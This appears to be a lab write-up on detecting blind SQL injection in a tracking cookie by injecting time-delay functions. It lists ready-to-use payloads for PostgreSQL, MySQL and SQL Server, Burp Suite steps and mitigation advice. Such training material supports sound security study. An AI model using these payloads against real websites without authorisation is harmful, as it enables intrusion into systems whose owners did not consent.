# Blind SQL Injection with Time Delays

**Introduction**

Blind SQL Injection is a technique where an attacker exploits a vulnerable SQL query without directly seeing the output. In this lab, we use **time delays** to confirm SQL injection in an application that processes a **tracking cookie**.

**Understanding the Vulnerability**

1. The application takes a **TrackingId** from the cookie and executes an SQL query.
    
2. The results are not shown, so we cannot see direct evidence of injection.
    
3. Since the query runs synchronously, introducing a **time delay** will confirm SQL execution.
    

**Exploiting the Vulnerability**

we inject a **time delay function** into the SQL query to check if it’s being executed. Common functions used for this:

**PostgreSQL:** pg\_sleep(10)

**MySQL:** SLEEP(10)

**SQL Sever:** WAITFOR DELAY ‘00:00:10’

**Oracle:** dbms\_pipe.receive\_message((‘a’),10)

**Steps to Perform**

1. **Capture the Request**
    
    1. Use Burp Suite to intercept a request from the browser.
        
    2. Identify the TrackingId in the request headers:
        
        GET/ HTTP/1.1
        
        Host: vulnerable-website.com
        
        Cookie: TrackingId=xyz123
        

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741628658967/00eff146-c2bc-4ce6-a652-860f6083031e.png align="center")

Before applying payload we got 622 millisec.

2. **Inject the payload**
    

Modify the TrackingId value to introduce a delay:

**1\. PostgreSQL:** TrackingId=xyz123’ || (SELECT pg\_sleep(10))--

**2\. MySQL:** TrackingId=xyz123’ OR SLEEP(10)--

**3\. SQL Server:** TrackingId=xyz123’; WAITFOR DELAY ‘00:00:10’--

3. **Observe the Response**
    
    1. If the server takes 10 seconds to respond, the injection is successful.
        
    2. If there is no delay, try another SQL functiion or different syntax.
        

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741628714001/865aa93d-4403-4ef7-a7e3-20dd3d959b2c.png align="center")

After applying payload we got response as time delay with 10,408 millisec.

**Mitigation**

1. **Use Prepared Statements** to prevent direct execution of user input.
    
2. **Implement Web Application Firewalls(WAFs**) to detect and block SQLi attempts.
    
3. **Restrict Database Permissions** to minimize potential damage.
    
4. **Sanitize and validate Input** to reject unexpected input values.
    

**Conclusion**

In this lab, we exploited a **blind SQL Injection Vulnerability** by injecting a **time delay** to confirm SQL execution. This method is commonly used when **query results or errors are not displayed**.